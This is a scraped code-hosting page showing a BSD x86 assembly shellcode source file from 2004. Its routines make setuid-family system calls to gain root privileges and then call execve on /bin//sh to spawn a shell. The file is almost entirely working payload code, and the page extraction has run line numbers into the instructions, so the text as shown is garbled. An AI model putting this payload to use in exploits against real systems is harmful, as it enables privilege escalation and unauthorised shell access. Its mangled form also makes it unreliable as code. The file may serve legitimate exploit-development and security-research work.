Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/unixasm/bsd-x86-shellcode.s
Views: 11766
/*1* bsd-x86-shellcode.s2* Copyright 2004 Ramon de Carvalho Valle <[email protected]>3*4* This library is free software; you can redistribute it and/or5* modify it under the terms of the GNU Lesser General Public6* License as published by the Free Software Foundation; either7* version 2.1 of the License, or (at your option) any later version.8*9* This library is distributed in the hope that it will be useful,10* but WITHOUT ANY WARRANTY; without even the implied warranty of11* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU12* Lesser General Public License for more details.13*14* You should have received a copy of the GNU Lesser General Public15* License along with this library; if not, write to the Free Software16* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA17*18*/1920.global _start2122_start:2324setresuidcode:25xorl %eax,%eax26pushl %eax27pushl %eax28pushl %eax29pushl %eax30movw $0x0137,%ax31int $0x803233setreuidcode:34xorl %eax,%eax35pushl %eax36pushl %eax37pushl %eax38movb $0x7e,%al39int $0x804041setuidcode:42xorl %eax,%eax43pushl %eax44pushl %eax45movb $0x17,%al46int $0x804748exitcode:49xorl %eax,%eax50pushl %eax51movb $0x01,%al52int $0x805354# 23 bytes5556shellcode:57xorl %eax,%eax58pushl %eax59pushl $0x68732f2f60pushl $0x6e69622f61movl %esp,%ebx62pushl %eax63pushl %esp64pushl %ebx65pushl %eax66movb $0x3b,%al67int $0x8068697071